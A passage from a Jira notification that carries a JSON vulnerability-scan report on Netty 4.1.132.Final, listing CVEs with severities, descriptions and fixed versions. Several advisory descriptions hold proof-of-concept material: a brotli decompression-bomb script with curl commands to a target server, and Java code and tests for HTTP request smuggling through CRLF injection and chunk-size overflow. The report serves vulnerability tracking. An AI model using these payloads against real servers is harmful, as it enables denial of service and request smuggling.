> maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this
> as a hard cap by setting the buffer's `maxCapacity` and throwing
> `DecompressionException` when the limit is reached:\n\n```java\n//
> ZlibDecoder.java:68 — hard limit on buffer capacity\nreturn
> ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation),
> maxAllocation);\n// ZlibDecoder.java:80 — throws when exceeded\nthrow new
> DecompressionException(\"Decompression buffer has reached maximum size: \" +
> buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are
> created without any size limit:\n\n```java\n//
> HttpContentDecompressor.java:120 — maxAllocation IGNORED\n.handlers(new
> BrotliDecoder())\n\n// HttpContentDecompressor.java:129 — maxAllocation
> IGNORED\n.handlers(new SnappyFrameDecoder())\n\n//
> HttpContentDecompressor.java:138 — maxAllocation IGNORED\n.handlers(new
> ZstdDecoder())\n```\n\n`BrotliDecoder` has no `maxAllocation` parameter at
> all — there is no way to constrain its output. It streams decompressed data
> in chunks via `fireChannelRead` with no total limit.\n\n`ZstdDecoder()`
> defaults to a 4MB `maximumAllocationSize`, but this only constrains
> individual buffer allocations, not total output. The decode loop
> (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead`
> repeatedly, so total decompressed output is unbounded.\n\nThe identical
> pattern exists in
> `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines
> 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with
> decompression bomb protection:\n\n```java\npipeline.addLast(new
> HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new
> HttpObjectAggregator(1048576)); // 1MB max\n```\n\n2. Generate a
> brotli-compressed bomb (~1KB compressed → 1GB
> decompressed):\n\n```python\nimport brotli\nbomb = b'\\x00' * (1024 * 1024 *
> 1024) # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith
> open('bomb.br', 'wb') as f:\n f.write(compressed)\n# compressed size:
> ~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by
> maxAllocation):\n\n```bash\n# This is caught — ZlibDecoder enforces the 1MB
> limit\ncurl -X POST http://target:8080/api \\\n -H 'Content-Encoding: gzip'
> \\\n --data-binary @bomb.gz\n# Result: DecompressionException thrown at
> 1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES
> maxAllocation):\n\n```bash\n# This bypasses the limit — BrotliDecoder has no
> maxAllocation\ncurl -X POST http://target:8080/api \\\n -H
> 'Content-Encoding: br' \\\n --data-binary @bomb.br\n# Result: Full 1GB
> decompressed into memory → OOM\n```\n\n5. The same bypass works with
> `Content-Encoding: zstd` and `Content-Encoding: snappy`.\n\n## Impact\n\n-
> **Denial of Service**: An attacker can cause out-of-memory conditions on any
> Netty server that relies on `maxAllocation` for decompression bomb
> protection, by simply using a non-gzip content encoding.\n- **False sense of
> security**: Developers who explicitly configure `maxAllocation` t",
> "published_date": "2026-05-07",
> "package": "netty-codec-http",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.133.Final, 4.2.13.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 50,
> "risk_level": "high",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-44249",
> "severity": "HIGH",
> "cvss": 8.1,
> "description": "### Summary\nAn attacker can bypass IPv6 subnet rules due
> to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid
> public IP addresses can bypass the restrictions.\n\n###
> Details\n`io.netty.handler.ipfilter.IpSubnetFilterRule#compareTo(java.net.InetSocketAddress)`
> method performs a bitwise AND between the incoming IP address and the
> configured networkAddress, instead of the subnetMask.\n\n### Impact\nAccess
> Control Bypass. Attacker can bypass IpSubnetFilter IPv6 access controls.",
> "published_date": "2026-06-09",
> "package": "netty-handler",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.135.Final, 4.2.15.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 50,
> "risk_level": "high",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-45416",
> "severity": "HIGH",
> "cvss": 7.5,
> "description": "SslClientHelloHandler.decode() reads the 24-bit TLS
> handshake length and, when the ClientHello does not fit in the first record,
> eagerly allocates `ctx.alloc().buffer(handshakeLength)` (line 161). The guard
> at line 140 is `handshakeLength > maxClientHelloLength &&
> maxClientHelloLength != 0`, and the commonly-used
> SniHandler/AbstractSniHandler constructors (SniHandler(Mapping),
> SniHandler(AsyncMapping), AbstractSniHandler()) pass maxClientHelloLength=0
> and handshakeTimeoutMillis=0, so the length guard is disabled and no timeout
> is scheduled. A 16 MiB request exceeds the default pooled chunk size and
> becomes a huge/unpooled allocation performed immediately. The buffer is
> retained in the handler until the channel closes.",
> "published_date": "2026-06-09",
> "package": "netty-handler",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.135.Final, 4.2.15.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 50,
> "risk_level": "high",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-48043",
> "severity": "HIGH",
> "cvss": 7.5,
> "description": "### Impact\n\nThe `DelegatingDecompressorFrameListener`
> class orchestrates HTTP/2 decompression by embedding a per-stream
> `EmbeddedChannel` that runs the appropriate decompression codec (gzip,
> deflate, zstd) and forwards decompressed chunks to a wrapped listener. Each
> decompressed chunk is a pooled `ByteBuf` handed to an anonymous
> `ChannelInboundHandlerAdapter` tail handler, which becomes the sole owner
> responsible for releasing it.\n\nA remote peer could send frames that would
> result in the flow-controller throwing and so trigger a resource leak which
> at the end might take down the whole JVM due OOME.",
> "published_date": "2026-06-11",
> "package": "netty-codec-http2",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.135.Final, 4.2.15.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 50,
> "risk_level": "high",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-50010",
> "severity": "HIGH",
> "cvss": 7.5,
> "description": "Netty is a network application framework for development
> of protocol servers and clients. Prior to versions 4.1.135.Final and
> 4.2.15.Final, SimpleTrustManagerFactory.engineGetTrustManagers() and related
> paths wrap any user-supplied plain X509TrustManager in
> X509TrustManagerWrapper, which extends X509ExtendedTrustManager but
> implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by
> discarding the SSLEngine and calling the 2-arg delegate. Because the object
> now IS an X509ExtendedTrustManager, neither SunJSSE's internal
> AbstractTrustManagerWrapper nor Netty's own OpenSslX509TrustManagerWrapper
> will re-wrap it to add endpoint-identification. Consequently, even though
> Netty 4.2 sets endpointIdentificationAlgorithm=\"HTTPS\" by default, a client
> built with
> `SslContextBuilder.forClient().trustManager(somePlainX509TrustManager)`
> performs no hostname verification at all. Versions 4.1.135.Final and
> 4.2.15.Final patch the issue.",
> "published_date": "2026-06-12",
> "package": "netty-handler",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.135.Final, 4.2.15.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 50,
> "risk_level": "high",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-41417",
> "severity": "MEDIUM",
> "cvss": 5.3,
> "description": "### Summary\nNetty allows request-line validation to be
> bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created
> first and its URI is later changed via `setUri()`.\n\nThe constructors reject
> CRLF and whitespace characters that would break the start-line, but
> `setUri()` does not apply the same validation. `HttpRequestEncoder` and
> `RtspEncoder` then write the URI into the request line verbatim. If
> attacker-controlled input reaches `setUri()`, this enables CRLF injection and
> insertion of additional HTTP or RTSP requests.\n\nIn practice, this leads to
> HTTP request smuggling / desynchronization on the HTTP side and request
> injection on the RTSP side.\n\n### Details\nThe root issue is that URI
> validation exists only on the constructor path, but not on the public setter
> path.\n\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n - The
> constructor calls `HttpUtil.validateRequestLineTokens(method, uri)`\n -
> `setUri(String uri)` only performs `checkNotNull` and does not validate\n-
> `io.netty.handler.codec.http.DefaultFullHttpRequest`\n - `setUri(String
> uri)` delegates to the parent implementation\n-
> `io.netty.handler.codec.http.HttpRequestEncoder`\n - Writes `request.uri()`
> directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n
> - Writes `request.uri()` directly into the request line\n\nThis creates the
> following bypass:\n\n1. An application creates a `DefaultHttpRequest` or
> `DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input
> is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes
> that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets
> the injected bytes after CRLF as separate requests\n\nThis appears to be an
> incomplete fix pattern where start-line validation exists, but can still be
> bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code
> first creates a normal request object and then injects a malicious request
> line using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport
> io.netty.channel.embedded.EmbeddedChannel;\nimport
> io.netty.handler.codec.http.DefaultHttpRequest;\nimport
> io.netty.handler.codec.http.HttpMethod;\nimport
> io.netty.handler.codec.http.HttpRequestEncoder;\nimport
> io.netty.handler.codec.http.HttpServerCodec;\nimport
> io.netty.handler.codec.http.HttpVersion;\nimport
> io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n
> public static void main(String[] args) {\n EmbeddedChannel client =
> new EmbeddedChannel(new HttpRequestEncoder());\n EmbeddedChannel
> server = new EmbeddedChannel(new HttpServerCodec());\n\n
> DefaultHttpRequest request = new DefaultHttpRequest(\n
> HttpVersion.HTTP_1_1, HttpMethod.GET, \"/safe\");\n\n
> request.setUri(\"/s1 HTTP/1.1\\r\\n\" +\n \"\\r\\n\" +\n
> \"POST /s2 HTTP/1.1\\r\\n\" +\n \"content-length:
> 11\\r\\n\\r\\n\" +\n \"Hello World\" +\n \"GET
> /s1\");\n\n client.writeOutbound(request);\n ByteBuf outbound =
> client.readOutbound();\n\n System.out.println(\"=== Raw encoded
> request ===\");\n
> System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n
> System.out.println(\"=== Decoded by HttpServerCodec ===\");\n
> server.writeInbound(outbound.retainedDuplicate());\n\n Object msg;\n
> while ((msg = server.readInbound()) != null) {\n
> System.out.println(msg);\n }\n\n outbound.release();\n
> client.finishAndReleaseAll();\n server.finishAndReleaseAll();\n
> }\n}\n```\n\nWhen reproduced, the raw encoded request looks like
> this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length:
> 11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this
> as multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n-
> `POST /s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms
> that the value supplied through `setUri()` is interpreted on the wire as
> additional requests.\n\n### PoC (RTSP)\nThe same root cause also affects `",
> "published_date": "2026-05-05",
> "package": "netty-codec-http",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.133.Final, 4.2.13.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 30,
> "risk_level": "medium",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-42580",
> "severity": "MEDIUM",
> "cvss": 6.5,
> "description": "### Summary\nNetty's chunk size parser silently overflows
> int, enabling request smuggling attacks.\n\n###
> Details\nio.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently
> overflows int.\n\nThe size is accumulated as follows:\n\nresult *=
> 16;\nresult += digit;\n\nThe result is checked only for negative values.
> However, with a carefully crafted chunk size, the result can be a valid
> size.\n\n### PoC\nThe test below shows Netty successfully parsing the second
> request, demonstrating how an attacker can smuggle a second request inside a
> chunked body.\n\n```java\n@Test\npublic void test() {\n String requestStr
> = \"POST / HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n
> \"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\n
> \"100000004\\r\\n\" +\n \"test\\r\\n\" +\n \"0\\r\\n\"
> +\n \"\\r\\n\" +\n \"GET /smuggled HTTP/1.1\\r\\n\" +\n
> \"Host: localhost\\r\\n\" +\n \"Content-Length:
> 0\\r\\n\" +\n \"\\r\\n\";\n\n EmbeddedChannel channel = new
> EmbeddedChannel(new HttpRequestDecoder());\n
> assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr,
> CharsetUtil.US_ASCII)));\n\n // Request 1\n HttpRequest request =
> channel.readInbound();\n
> assertTrue(request.decoderResult().isSuccess());\n HttpContent content =
> channel.readInbound();\n
> assertTrue(content.decoderResult().isSuccess());\n assertEquals(\"test\",
> content.content().toString(CharsetUtil.US_ASCII));\n content.release();\n
> LastHttpContent last = channel.readInbound();\n
> assertTrue(last.decoderResult().isSuccess());\n last.release();\n\n //
> Request 2\n request = channel.readInbound();\n
> assertTrue(request.decoderResult().isSuccess());\n last =
> channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n
> last.release();\n}\n```\n\n### Impact\nHTTP Request Smuggling: Attacker
> injects arbitrary HTTP requests",
> "published_date": "2026-05-07",
> "package": "netty-codec-http",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.133.Final, 4.2.13.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 30,
> "risk_level": "medium",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-45673",
> "severity": "MEDIUM",
> "cvss": 6.8,
> "description": "### Summary\nNetty's DNS resolver uses a predictable PRNG
> for generating DNS transaction IDs and defaults to a static UDP source port.
> This combination reduces the entropy of DNS queries, enabling DNS Cache
> Poisoning (Kaminsky attack).\n\n### Details\nTwo factors contribute to this
> vulnerability in io.netty.resolver.dns:\n- Predictable Query IDs:
> `DnsQueryIdSpace` manages 16-bit transaction IDs in buckets of 16,384 IDs. It
> initializes only the first bucket. When an ID is returned, it is pushed back
> into the bucket at a random index generated by
> java.util.concurrent.ThreadLocalRandom:\n\n```java\nRandom random =
> ThreadLocalRandom.current();\nint insertionPosition = random.nextInt(count +
> 1);\n```\n\nBecause ThreadLocalRandom is a predictable LCG and the resolver
> operates within a single bucket, the sequence of IDs is predictable once the
> PRNG state is mathematically recovered.\n\n- Default Static Source Port:
> `DnsNameResolverBuilder` defaults to a `channelStrategy` of
> `ChannelPerResolver`. This binds the DatagramChannel once, resulting in a
> static source port for all subsequent queries.\n\nCombined, a static source
> port and predictable transaction IDs reduces the entropy required to secure
> DNS resolution against spoofing.\n\n### Impact\nDNS Cache Poisoning.
> Downstream applications using the default Netty DNS resolver may connect to
> malicious IPs, leading to traffic interception or MitM attacks.",
> "published_date": "2026-06-09",
> "package": "netty-resolver-dns",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.135.Final, 4.2.15.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 30,
> "risk_level": "medium",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-47244",
> "severity": "MEDIUM",
> "cvss": 5.3,
> "description": "### Impact\nDefaultHttp2Connection.DefaultEndpoint
> initialises maxActiveStreams/maxStreams to Integer.MAX_VALUE, and
> Http2Settings never inserts SETTINGS_MAX_CONCURRENT_STREAMS by default
> (Http2Settings.java:305-307 only clamps a user-supplied value). Unless the
> application explicitly calls initialSettings().maxConcurrentStreams(n), a
> Netty HTTP/2 server advertises no limit and enforces none locally. Each open
> stream allocates a DefaultStream object, PropertyMap slots, flow-controller
> state and IntObjectHashMap entry; with ~2^30 permissible odd stream IDs a
> single TCP connection can create hundreds of thousands of long-lived stream
> objects. This is also the precondition for CVE-2023-44487-style Rapid-Reset
> amplification, where the absence of a low concurrent cap multiplies backend
> work.\n\n###
> Resources\nhttps://www.rfc-editor.org/rfc/rfc7540.html#section-6.5.2",
> "published_date": "2026-06-09",
> "package": "netty-codec-http2",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.135.Final, 4.2.15.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 30,
> "risk_level": "medium",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-50020",
> "severity": "MEDIUM",
> "cvss": 5.3,
> "description": "Netty is a network application framework for development
> of protocol servers and clients. Prior to versions 4.1.135.Final and
> 4.2.15.Final, before reading the first request-line, `HttpObjectDecoder`
> skips every byte for which `Character.isISOControl(b)` is `true` (0x00–0x1F
> and 0x7F) as well as all whitespace. RFC 9112 §2.2 only asks servers to
> ignore empty CRLF lines preceding the request-line — a carefully scoped
> robustness allowance intended to handle HTTP/1.0 POST workarounds. Silently
> absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes
> significantly beyond this, and can be exploited for request-boundary
> confusion in pipelined or multiplexed transports where a front-end component
> treats those bytes differently. Versions 4.1.135.Final and 4.2.15.Final patch
> the issue.",
> "published_date": "2026-06-12",
> "package": "netty-codec-http",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.135.Final, 4.2.15.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 30,
> "risk_level": "medium",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-50560",
> "severity": "MEDIUM",
> "cvss": 5.3,
> "description": "Netty is a network application framework for development
> of protocol servers and clients. Prior to versions 4.1.135.Final and
> 4.2.15.Final, Netty HTTP/2 max header size handling produces an attack
> similar to HTTP/2 Rapid Reset. There is a setting in the http2 specification
> called `SETTINGS_MAX_HEADER_LIST_SIZE`. When a client sends that setting to
> Netty, it appears that Netty will behave as follows: read the request; proxy
> the request to the origin; attempt to produce a response; and create an
> exception while writing the headers for the response. Functionally, this
> should be similar to the http2 reset attack, but with a different on-the-wire
> signature. Versions 4.1.135.Final and 4.2.15.Final patch the issue.",
> "published_date": "2026-06-12",
> "package": "netty-codec-http2",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.135.Final, 4.2.15.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 30,
> "risk_level": "medium",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> }
> ]{noformat}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)